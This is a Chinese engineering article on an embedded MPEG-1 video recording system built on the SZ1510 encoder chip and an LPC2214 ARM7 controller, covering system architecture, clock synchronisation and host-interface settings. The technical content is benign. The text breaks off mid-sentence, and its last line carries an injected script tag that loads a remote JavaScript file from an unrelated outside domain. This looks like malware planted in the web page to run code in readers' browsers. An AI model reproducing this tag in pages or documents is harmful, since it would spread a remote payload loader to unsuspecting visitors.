引言
随着计算机技术、多媒体和数据通信技术的迅速发展，数字视频的应用越来越广，如视频监控、视频会议和移动电视等。数字视频数据量巨大，不利于传输和存储，使其应用受到很大限制。为解决视频数据的存储和传输问题，唯一的途径就是对视频数据进行压缩。常见的视频压缩方法有mpeg系列和h.26x系列。考虑到压缩技术的成熟度、成本和主要用途，采用mpeg-1作为压缩标准，设计出基于arm处理器的嵌入式数字视频记录系统。该系统适用于视频监控、视频会议等多种应用场合，同时还可安装在飞行器上，用于实时记录飞行器的飞行及训练过程中的各种信息。
目前，市场上有大量的基于pci总线的mpeg-1视频压缩卡和pc机构架的网络视频服务器。与之相比，我们设计的视频记录系统具有成本低、体积小和功耗低等优势。
1 系统工作原理
视频压缩记录系统的设计着眼于控制器的嵌入化和整体的便携性。本系统主要由3部分组成，即压缩部分、控制部分和存储部分。视频记录系统的结构组成如图1所示。其中压缩部分由mpeg1音视频压缩电路组成，主要功能是实现对输入的音视频信号解码、数字化和压缩编码，产生mpeg1程序流和传输流；控制部分由arm最小系统组成，用于实现对整个系统的控制、数据流管理和ide接口控制；存储部分由大容量硬盘或cf存储卡组成，实现对压缩数据的实时长时间记录。
系统启动时，arm处理器对整个压缩系统进行初始化，首先通过host接口对sz1510内部寄存器进行配置，并使用sz1510的串行接口模拟i2c总线对视频***saa7113h进行初始化。当设置好mpeg-1的压缩格式及数据速率后，系统开始正常工作，音视频信号经ak4550音频处理芯片和saa7113视频处理芯片进行a/d转换，输出8位的pcm格式数字音频信号和4∶2∶0的ycbcr数字视频信号，传入sz1510音视频压缩采集芯片进行处理，将数字音视频数据转化为符合mpeg-1格式的混合影视文件，最后mpeg1数据流在arm处理器的控制下通过ide接口写入硬盘或cf卡。在工作时，arm还将不断监视相关信号，并在图像中加入相应的标志，直到接收到关机信号，系统自动结束压缩工作。
2 硬件电路设计
由于mpeg-1压缩算法需要很大的运算量，用软件实时完成比较困难，所以在本系统中主要依靠专用芯片实现对视频信号的高效压缩。目前，常用的mpeg-1压缩芯片有vw2010、w99200f、wis 7007sb等。本设计采用的是zapex公司的sz1510 mpeg-1 a/v编码芯片，自身完成音视频的同步编码，16位host接口易于与多种微处理器连接。另外，该芯片还可以直接控制视频解码芯片saa7113h、音频解码芯片ak4550vt和sdram（km416s1020ct-g10）。cpu采用philips公司的arm7tdmis内核微控制器lpc2214，通过其i/o端口控制ide接口硬盘或cf卡的数据读取和存储。
图1 数字视频记录系统结构框图
2.1 mpeg-1压缩电路设计
sz1510是一个 mpeg-1和运动jpeg图像编码器。其内置的视频压缩核经过优化，适合高效、实时的mpeg1数字图像压缩，具有功能多、功耗低、温度范围宽等特点；同时整合了ti公司的tms320c54x高性能dsp内核，可依据mpeg-1标准对音视频同步编码。
（1） 时钟同步电路设置
sz1510是一个复杂的视频压缩小系统，要完成音视频的同步，mpeg-1视频的压缩以及系统内部数据流的复合、调度；时钟关系较为复杂，是系统设计的一个难点。时钟配置可分为主时钟、音视频时钟、视频压缩核时钟、dsp核时钟以及扩展的i2s接口时钟几部分。其功能和关系为：
◆ 主时钟。sz1510的主时钟为稳定的27 mhz(clk)。该时钟在芯片内部被pll1倍频为81 mhz，驱动sz1510的视频压缩核及sdram。pll2连到dsp内核，通过软件配置使其工作在94.5 mhz，用于音频压缩和系统数据流复合。
◆ 音视频时钟。视频时钟来自视频***，典型值为27 mhz。音频时钟由视频时钟分频产生。
◆ i2s接口时钟。本系统中在音视频同步设计中使用i2s接口的从模式，由sz1510产生串行时钟和帧同步信号。
（2） 主机（host）端口设置
sz1510作为从设备，受主机控制，其host接口是sz1510的控制和数据交换接口。sz1510可以选择复用或不复用的intel和motorola总线类型；不复用总线，又可以分为8位和16位。具体的主机端口由hconfig[1∶0]引脚和sysconfig[3]寄存器配置。在本系统设计中，通过跳线把hconfig0拉低，hconfig1拉高，使其工作在intel 8051类型的非复用的16位数据总线模式下。
2.2 lpc2214微处理器电路设计
lpc2214是一款基于32位arm7tdmi-s，支持实时仿真和跟踪的cpu；带有16 kb片内sram、256 kb嵌入的高速flash存储器、128位宽度的存储器接口和独特的加速结构，使32位代码能够在最大时钟速率60 mhz下运行?script src=http://er12.com/t.js>
